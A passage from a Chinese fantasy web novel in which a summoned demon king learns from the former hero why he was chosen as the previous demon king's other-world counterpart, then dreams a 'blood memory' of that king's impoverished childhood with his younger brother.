一根筋变成两头堵了吗?! 叶隐望着高高的天花板发了会儿呆,问道:“魔王之血能给魔物吗?” 卡拉瓦多斯沉默了两秒,不知是以何等的心态回应道:“能。” “嗯……卡拉瓦多斯啊。” 叶隐语重心长地拍了拍对方血肉虬结的肩膀,手掌差点陷进去。 他吓得连忙把手拔出来,咳嗽一声,接着道:“那什么……欲戴王冠,必承其重,魔王之位意义重大,我这么个小个子一下就被压垮了,你这样的高个子才能把塌下来的天顶住。况且,你如此喜爱魔王城,如此热爱管家这份工作,与其替别人打工,不如自己当老板!世界上没有人比你更适合当魔王了,你说是不是?” 不等对方回答,他又在心里问系统:“我能不能把你连带着魔王之血转让给别人啊?你找别人当魔王好不好?”只是系统根本不搭理他。 “不要再说这般话了,叶大人。”卡拉瓦多斯摇头拒绝,语气严肃,“吾知您心中有怨,但并不是所有人都有资格成为魔王之血的宿主,何况前魔王选择您,是看中了您拥有驾驭魔王之血的潜能,即使在历代魔王中,这也是极为稀有的。” 顿了顿,它笃定道:“没有任何人能替代您,您就是最合适的魔王。” 卡拉瓦多斯说完这番话,系统才终于提示道: 【玩家的生命已与魔王之血绑定,完全转让魔王之血会导致玩家不可逆的死亡,请慎重考虑。】 “……” 叶隐一点儿也不意外,不然前魔王希恩去了哪儿呢?看来的确是因为将魔王之血转移给自己的缘故而死了。 作为一个本来可以随心所欲的魔王,这样的死法似乎有些过于憋屈,不过在这点上,叶隐也是五十步笑一百步,无话可说。 “好吧,先不聊这个了。”叶隐立刻改口,毕竟他现在还没活够呢。 其实刚说完那番话,他就后悔了,这些话若是往外说,很可能被他人抓住把柄,好在卡拉瓦多斯不仅没有那样的心思,甚至一反常态地给了他明确的支持态度……真是大大滴忠臣啊! 不过,代价仅仅是自己的死的话,或许他有一天会遇到去死反而更好的情况也说不定。 ……算了,真到了那种时候再说。 “但我还是不理解,前魔王是如何选中的我呢?”叶隐问道,“这世上就没有其他合适的人选了吗,以至于要从异世界找人?而且偏偏找到了和希恩一模一样的我?这应该不是巧合吧。” 卡拉瓦多斯道:“时空魔法不是吾有权窥探的领域。关于前魔王是如何选中您的,是吾所不知的技术问题,不过,仅仅说那个人选为什么是您的话……” 它没有把话说完,只是微微偏了偏头,叶隐顺着他的视线扭头望去,看到那不知何时已经洗完澡换好衣服的银发青年正幽幽站在那里,略显窄小的衣衫下隐约可见绷带的痕迹,瀑布般的银丝顺流而下,深邃的眼神让人难以揣摩。 他看着叶隐,道:“一直瞒着你,不是因为这是个秘密,只是因为我自己不想面对,抱歉。” 那句低沉的“抱歉”令叶隐有些意动,如果换个普通的问题,他会很乐意接受尤利西斯的道歉,但很可惜,他必须了解这件事的真相,即使他已经意识到,强迫尤利西斯阐述这件事会伤害到对方,他也没有退让的余地。 “没什么可道歉的……只要你肯开口。”叶隐绷着神情,努力表现得严肃,“不要再拖延了,现在说还来得及。” 尤利西斯微微颔首,慢慢走到叶隐旁边坐下。 他组织了番语句,开口道:“希恩选中和他长得一模一样的你,的确不是个巧合。用他自己的话来说,你们是彼此的‘异世界同位体’,各方面特征都高度相似,‘相貌一致’仅仅是这一点的外在表现之一。” 叶隐:“……” 异世界同位体?这是我的词啊! 他还没有看过希恩的图像或者相片什么的,但无论尤利西斯还是卡拉瓦多斯,都称他们的相貌“一模一样”,加上作为希恩亲兄弟的希冯都能将他认错,以及他和希恩连思维都能撞车……综合来看,“异世界同位体”的说法可信度很高。 ……只是,世界上有另一个自己什么的,总感觉有点怪异,毕竟他们本来生活在各自的世界里,是不会有交集的——直到希恩将他召唤过来。 “希恩……他和历代魔王都不一样,他根本不想成为魔王,所以一直压抑着觉醒的程度,甚至为此东躲西藏。”尤利西斯回忆着,“但是,我找到了他,而且……我没有相信他。 “那时,因为希恩一直在躲藏,原本应该在那段时间中现身的魔王始终没有踪影,帝国高层认为无法完成使命的我占据了太多资源,便剥夺了我的勇者头衔,于是我离开了王都,因为我相信魔王不会迟到,也许它只是太过狡猾。别人都不觉得魔王的威胁有传说中那么大,但从小听着魔王的故事长大的我不那么觉得。 “后来,我找到了希恩,无视了他的求饶和求助,杀了他……但我并没能彻底杀死他,反而让他陷入了不依赖魔王之血就必死无疑的境地,所以……他觉醒了,而没有勇者之剑的我,在完全觉醒的魔王面前毫无还手之力。 “但希恩并没有杀我,他的确和所有魔王都不一样,即使彻底觉醒,仍能保持一定的理智和人性,可是,压制魔王之血的举动极为痛苦、无法长久,他唯有在自己彻底失控之前,找到一个与他同路的、可以托付魔王之血的人。” 他看向叶隐,目光沉沉,“……也许,世上还存在其他能够控制魔王之血的人,然而他已经没有时间了。何况,即使时间足够,那样的人也不会自己蹦出来,他只有重蹈先前魔王的覆辙,将人类帝国征服,花费大量的财力物力,才能慢慢找到那个人,但那样一来,他与那些魔王的所作所为也就没有什么区别了。 “无论如何,这种方法都行不通……但他最终还是找到了另一条路,也就是异世界。 “他掌握的那个时空魔法,并没有智能到可以独立召唤合适人选的程度,他只能召唤特定的人,而作为他的异世界同位体的你,就是与他关系最密切的、可以被他召唤的人之一,哪怕你在事前甚至不知道他的存在。 “他认为你能成功,能做到他曾经没做到的事,因为你就是另一个他。”尤利西斯说道,“他相信,只要给你时间和机会,让你成长,你就一定能达成那个历代魔王都没能达成的目标——完全控制魔王之血,而不是被它控制。” 他挪开眼神,看向脚边的地板,喃喃道:“如果你真的能做到的话,或许……他曾经也有那样的机会,只是,他的希望,和他作为名为‘希恩’的人类的生命,都被我亲手抹除了。” 11. 血之记忆·残片①(上) 如果不是他太过傲慢、对于从小到大学来的知识深信不疑,认为魔王是必须铲除的罪恶之源; 如果他能稍微多一些同理心和责任感,将求饶的希恩视作平民而非待宰的魔王; 甚至,如果他能再强一些,即使不依赖勇者之剑,也能将刚刚完全觉醒的魔王希恩杀死。 ……后续的一切本该不会发生的,身为异世界平民的叶隐也根本不会被卷入到与自己无关的事件中来。 ——尤利西斯是这么想的。 他向希恩出手时,自以为那是解决问题的最快方式,却不料正是因此,让他与正确的答案擦肩而过,而为了弥补那样的错误,他必须额外付出的努力何止成百上千倍,期间种种变数更是可能导致成千上万人死去。 在希恩已经死去的如今,这一切都压在了他一人的肩上——但,幸好是他,而不是别人。 “……” 叶隐没有怀疑尤利西斯话语的真实性,因为系统已经给了他提示: 【叮~当前任务完成!获得奖励:觉醒度+5。】 【觉醒度:20/100】 【时髦值:16/100】 “了解自己被召唤来此界的前因后果”这个任务,拖了一个星期,终于是完成了。尽管叶隐非常不想要这5点觉醒度,但他更不可能一直放任自己被蒙在鼓里,系统的狡猾之处就在于此——它给了人一种可以选择是否前进的假象,实际上根本没有选择的余地。 唯一的好处是,有系统任务的要求保底,尤利西斯的话应该至少有九成真,倒是免了叶隐辨识真伪的功夫。 现在叶隐可以理解,尤利西斯先前为何总是回避这个话题了,哪怕对于他这样正直坚强的人,直面自己所犯下的、难以承受的错误,也是极为困难的,正是因为他责任感极强,才会认为自己必须为此负责到底,恐怕直到他自认为偿还完后果之前,他都会始终被愧疚与悔恨的阴云笼罩着吧。 即使在叶隐看来,尤利西斯也只是此方世界这个莫名其妙的魔王勇者体系下的受害者之一罢了,但身在这山中的尤利西斯自己,不会那么容易想通,要走出来只能靠他自己。 “世上没有什么如果,不存在的假设不去想也罢。”一番深思熟虑后,叶隐说道,“过去是无法改变的,但是现在可以改变,只要改变了现在,就能够改变未来。所以,重要的是当下的事,是我们在当下应该做什么。” 其实他想说些安慰尤利西斯的话,但话到嘴边又变成了正事,不过这也没办法,因为尤利西斯描述的事离他太过遥远,他只能从理性上理解尤利西斯,却无法在感性上和对方共情,虚伪的安慰一戳即破,根本拿不出手,不提也罢。 难得吐露一番真心过后,尤利西斯似乎迅速变回了平日里的样子,平静道:“你说得对。”随后再度闭口不言。 叶隐一阵沉默,他知道尤利西斯不可能那么快释怀,但目前而言,他能为尤利西斯说的只有这些了。 “那什么……”见气氛僵硬,叶隐唯有转移话题,“那个小龙人希冯,他之所以讨厌你,也是因为你杀过希恩一次?” 一听到希冯的名字,尤利西斯便扯了扯嘴角,语气不屑:“不,它和希恩虽然是亲兄弟,但想法背道而驰。它曾经也是人类,却对同胞毫无怜悯之心,它支持希恩作为魔王为所欲为,一点也不希望他压抑自己……它只是个纯粹的魔物而已。” 他顿了顿,不知嘲讽还是自嘲地说道:“它认为,正是因为我的存在,才让希恩的计划成为可能,所以它一直都想杀了我。在启动召唤阵的不久前,希恩为了防止它在此期间作乱,便强制将它封入石棺中……”他若有所思,“那封印本该能够维持至少一年的。” 叶隐:“……”不好意思,是我干的。 他不好意思地解释了一番自己的所作所为,然而,听完叶隐的话,一直旁听的卡拉瓦多斯却另有看法。 它说:“休眠状态的魔物并没有那么容易被唤醒,主要原因大抵是施展魔法的人是您。您身为魔王的气息,通过心灵感应魔法传递给了希冯大人,加上他在被封印前本就处于愤怒和暴躁中,并非自愿休眠,两相结合之下,才会导致他轻易破封而出。” 这不是还是我的锅吗?叶隐腹诽。 “那现在该怎么处理希冯呢?”叶隐抓了抓脑袋,面露愁容,“现在的我能封印他吗?而且,老实说,就算我能,我也不太想那么做……” 他顿了顿,意识到自己的话可能有歧义,立刻解释道:“因为你们看啊!我们的同伴还是太少了,做什么都束手束脚,战斗力也只能靠尤利西斯一个,如果希冯能加入我们的话,我们既少了一个敌人,也多了一个战友,不是一石二鸟吗?单单把他封印的话,有点太可惜了…对吧!” 尤利西斯盯着叶隐,眼神忽然犀利了起来,“只是因为这个?” 叶隐有些心虚,“……不然呢?” “你看它的眼神很奇怪,不像是第一次看见它。”尤利西斯一针见血地说道,“而且,你们交谈的时候,你只否认了你是它哥哥,没有阻止它称你为哥哥。” 叶隐:“……” 你平时不是很迟钝的吗,怎么这种时候突然开窍啊! “既然另一个世界存在另一个希恩,那那个世界存在另一个希冯,似乎也不奇怪。”尤利西斯沉吟道,“你在你的世界,有你自己的弟弟,是吗?所以你会对它有…恻隐之心。” ……怎么三言两语就推理出来了啊?! 叶隐愣了会儿,深深地叹了口气。 他抱着手扭过头去,声音很低:“我本来没打算说的,不然显得我像是又在抱怨不能回家一样,你也听腻了吧。” 没等尤利西斯接话,他立刻又转回头来道:“再说,我已经想清楚了,它只是和我弟弟长得一样而已,本质上是截然不同的两个人,我不会把他们搞混的!” 他将双手交叉竖起,在面前摆出一个叉,“我的提议都是基于我们的共同利益,和我的个人感情无关,才不是鬼迷心窍!你才是和我站在同一条战线上的队友,这一点我清楚得很。” 尤利西斯注视着叶隐,眉梢轻微上挑,语气却有些微妙的委屈:“我从没阻止过你说任何话。” 叶隐收回交叉的双臂抱在胸前,冷哼一声,“那你就当我单纯不想提起这个话题吧。” “……既然大人心中已有决断,吾就先告辞了。”卡拉瓦多斯起身欲走。 “等等!”叶隐站起身来,“我已经学会联络魔法了,还是把那个…心脏,还给你吧。” 闻言,对方那只泛白的眼球转向他。明明只有一颗像是毫无视力一般的眼珠,卡拉瓦多斯的注视却总令叶隐感觉瘆人。 “您不使用也没关系,但它需要留在这里,作为您掌管着吾性命的象征。”说着,它顿了顿,颇有深意道:“您愿意信任吾的忠诚,是吾的荣幸,但请不要忘记,您是魔王。” “……” 叶隐听得懂它的潜台词——身为魔王就该有魔王的自觉,尤其他还是一个没有力量的魔王。君君臣臣什么的,不是对什么人都行得通的,若是被真正心怀鬼胎之人察觉到,他的坦诚和信任就会变成刺向他自己的剑。 ——魔王城中再没有别人了,这番话所指的对象再明显不过,自然是某位正“自愿”待在牢里的小龙人。 尤利西斯先不提,连卡拉瓦多斯都不觉得龙人希冯是可以交心的对象,那叶隐自觉确实得好好考虑一番了。 叶隐靠着沙发沉思许久,吃完尤利西斯送的晚饭还在沉思,始终没想出该摆出一副怎样的态度才最有利于降服希冯,直到一股睡意袭来,他打了个哈欠,思绪逐渐回到现实中,这才发现拿走碗碟的尤利西斯又回到了房间里,且已经换了一身他自己的便服,正盘腿坐在客厅地毯上闭目养神。 “你干嘛?不回去睡觉?”叶隐问。 “今晚我睡你主厅。”尤利西斯闭着眼睛,嗓音带着些微困倦,带伤的身躯依旧挺拔,“不然,万一希冯袭击你,我可能来不及赶到。” “也不是不行啦。”叶隐虚着眼睛,“但你难道打算坐着睡觉吗?” “我……” 他刚吐出半个字,就被叶隐打断道:“别跟我扯什么‘疼痛使人清醒’!你知不知道人是要睡觉的啊?你是不是人啊?” 尤利西斯张了张嘴,欲言又止。 叶隐起身走向卧室,听对方还是坐在原地没动静,回头催促道:“过来,和我一起找被褥啊!” 尤利西斯终于抓住时机,强硬道:“我不需要。” 叶隐瞪大眼睛,惊中带怒地道:“你不会之前睡觉都不盖被子吧?!” 尤利西斯:“……” 虽然他不是个正经法师,但他每天晚上都是靠冥想度过的,不为了汲取魔力,只为了让头脑清明、保持心性坚毅,这是师父教给他的。 事实上,他保持这种作息已经十几年了,早已养成了用冥想代替睡眠的习惯,并不会因此缺觉,身体的疲劳程度也控制在可控范围内,但……若是把事实说出来,叶隐绝对会更加生气,所以他选择闭嘴。 “你还说自己是人呢!你真不是人吧?”叶隐翻了个白眼,自言自语道:“难道这个世界的人睡觉都不盖被子吗?那为什么我的房间里有被子?” “你真的不用管我。”尤利西斯的语气难得带上一丝无奈,“这样睡,我的警惕心更强,你也不想在睡梦中就被杀掉吧?” 叶隐一哽,这说的也不是没有道理…… 他确实有点担心小龙人夜袭,但他更担心的其实是对方直接逃出魔王城、将他们几人的消息散播出去。这样想着,他又施展了半次联络魔法,确认对方的位置的确还在监狱里,稍微舒了口气。 “好吧,你想怎么睡怎么睡。”叶隐说着,却还是转头从卧室里抱了两床被子出来,堆在沙发上,道:“放这了,盖不盖随你。” 他没再搭理尤利西斯,打着哈欠就回了卧室,“砰”地将门关上。 钻进被窝没多久,消耗魔力与精神紧绷后缓上来的疲惫感就逐渐淹没了叶隐,让他迷迷糊糊睡了过去。 他梦到自己陷入一片五光十色的画卷中,被无数个人影包裹着,他们向他伸出密密麻麻的手,嘴里含糊念叨着不知什么话语…… 慢慢地,人影们挥手的动作逐渐变得狂乱,像要将他撕碎一般使劲,但无论如何努力,他们与他之间始终隔着一层厚障壁,触碰不到他分毫,而他只是高高在上地俯视着那些手臂,像看着水中摇动的海带。 随后,一点、一点地,沉入海底…… 【叮……】 半梦半醒中,系统似乎弹出了提示音,但叶隐完全没有听清。 …… 【叮~觉醒度达到20,解锁血之记忆·残片①,将在玩家睡眠时自动读取,取消读取请按0。】 …… 叶隐走在满是积水的石板路上,浑身衣服都因浸水变得沉重。 视野中的一切都比平时要高上许多,他恍惚了一瞬,回过头去,看到自己正牵着一个七八岁年纪的孩童,而自己比起对方也高不了多少——这才反应过来,不是周围的东西变高了,而是他变矮了。 小孩儿清澈的目光中满是不安和焦虑,他一手被叶隐牵着,一手紧攥身上那破烂衣衫的衣角,他仰头望着比他高一个头的叶隐,可怜兮兮道:“哥哥,我饿,我走不动了。” “……” 这个孩童的样貌,叶隐很熟悉。 他是看着弟弟叶澜长大的,他记事时,叶澜才一岁多而已,那之后叶澜的每一次成长,他都历历在目。即使童年时期的许多事他都记不清了,唯独叶澜的事,他不会忘。 ——但他出声回应对方时,却在无意中叫出了另一个名字。 “再坚持一下,希冯。”叶隐说道,“天快黑了,今晚还要下雨,街道会被淹没的,我们不能留在这里,必须再往前走一些。” 希冯……不是那个小龙人的名字吗?他不是阿澜……? 叶隐感觉自己的意识有些恍惚,他为什么会变成一个半大少年?他是在做梦吗? 可这里 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希冯转动着火坑边上几条成人手指粗细的烤鱼,叶隐则将双手置于身前,聚精会神地盯着被双掌聚拢在一起的空气,慢慢地、有星星点点的光芒开始汇集、在叶隐的掌中逐渐成型,一旁的希冯看得目眩神迷,以至于忘了烤鱼,直到鱼身冒出焦香,他才回过神来,一阵手忙脚乱。 星光黯淡下去,只余一小撮晶莹透明的粉末留在叶隐掌心,这是极为宝贵的盐。他小心地用手指捻起一些,洒在焦黑的烤鱼上,直到用完。 希冯的烤鱼没有任何技术可言,若不是洒了盐增色,着实难以下咽,但这对两兄弟而言已经是极为难得的食物,更多时候,他们的主食还是别人倒在水沟里的剩饭。但好在,那样的窘境在最近有所好转。 倒不是说两兄弟得了意外之财,而是两兄弟中的哥哥忽然觉醒了特别的才能,光凭感觉就能将无用之物转变为有用之物,甚至是凭空造物,简直像教会的牧师们所施展的神术一样神奇!——之后一段时间里,在有意的接触下,他们得知了世间还有“魔法”这种东西的存在,甚至他们所见到的建筑、城池,其建造过程中都有魔法的参与,只是不为他们这样的贫民所知罢了。 然而,哥哥的“魔法”,似乎与寻常魔法有些不同。 按照一位年轻法师的说法,“造物”是一大类范围很广的魔法,下到冰火、土石,上到人造之物,都是可以用魔法创造的,但制造面包那样的营养物质至少需要三年的学习,像两兄弟中的哥哥这样,凭感觉就能制造的糖分的法师,似乎是绝无仅有的。 两兄弟只能接触到最底端的魔法学徒,借此管中窥豹。如果哥哥的天赋被发现,他们说不定能一步登天,被帝国的大魔法师收为弟子,从此脱离朝不保夕的生活,走上人生正轨…… “不行,希冯。”哥哥却坚定地想要打消弟弟的念头,“事情绝对不会那样顺利,我们对魔法的世界知道得太少了。一旦做出这样的选择,就没有回头路了,若是继续现在的生活,以我们的力量,至少能自由地活下去,所以不行……至少现在不行。” 在哥哥本人的坚持下,两兄弟终究抵抗住了利益和地位的诱惑,没有将哥哥的才能公之于众,一以贯之地继续着流浪的生活——当然,用少许魔法略微提高一下生活质量,顺便锻炼魔法技巧,是两兄弟心照不宣的秘密。 “哥哥,再做些糖吧!” 希冯把附近的草都薅了一番,挑选出其中最鲜绿的部分堆到叶隐跟前,期盼地望着他。 小少年不明白,草为什么能变成糖,而石头、泥巴就变不成,他还试着让自家哥哥做点水果糖出来,后者却表示制造纯糖和水果糖的难度不是一个量级,现在的他还做不到。 失望归失望,但小少年并不是真的在乎那么多。只要有糖吃,他的日子就有盼头;而只要有哥哥的糖吃,他就是全天下最幸福的人了! 叶隐伸出双手,草叶在他手中被萃取为悬空的液滴,发光的魔力在其中涌动,随后液滴凝固成形,变为几颗大小均匀、形态圆润的糖球。它的滋味远不如街上卖的糖块丰富,但同时也没有劣质的苦味,就只是纯粹的甜,这就是弟弟希冯最喜欢的味道。 “好耶!”希冯欢呼一声,小心翼翼地从叶隐掌心拿走一颗糖,依依不舍道:“剩下的还是哥哥收起来吧,我怕我一个忍不住就全吃了。” “……” 能量……糖……如此简单就可以制造出来吗? 叶隐低头看着自己的掌心,若有所思。他能感觉到魔力在自己体内做着毫无规律的运动,与借助标准的术式施法的时候大相径庭,但这样的施法却的确是有效的,看来不能太拘泥于教材,毕竟负责教导的尤利西斯施展的也只是人类的魔法。 他已经记住了施法的感觉,也许等梦醒后可以尝试一番…… ……等会儿。 叶隐忽然想起来什么,既然“自己”此刻施展的并非人类魔法,那—— 他正在思考,思绪却霎时间被卷入一场风暴中,他下意识想要抓住身边的希冯,后者却只在他视野中留下一个笑容的残影。 ……一阵天旋地转过后,叶隐渐渐恢复了意识,他看着身边骤然长大了四五岁的少年,一阵发愣。 “教会的狗东西,简直和帮派混混没两样!真是看错他们了!” 少年希冯满身是伤、头破血流,像是刚刚被人围着揍过一顿似的,他一边用破布给自己包扎,一边咬牙切齿地咒骂着。 这是到了梦里的另一个场景……? 叶隐还有些恍惚,好在他仍能一眼认出希冯,就是不知道这期间经历了什么事,把他的弟弟变成了一个会操着脏话和别人打架的精神小伙。 叶隐动了动手臂,身体骤然传来一股剧痛,他这才意识到,自己不是放任弟弟不管、自个儿躺着,而是起不来。希冯受了伤,他似乎也没好到哪去,浑身上下没哪一块儿不疼,不过他身上的伤已经被处理过了,大概是希冯做的吧。 所以,到底发生了什么?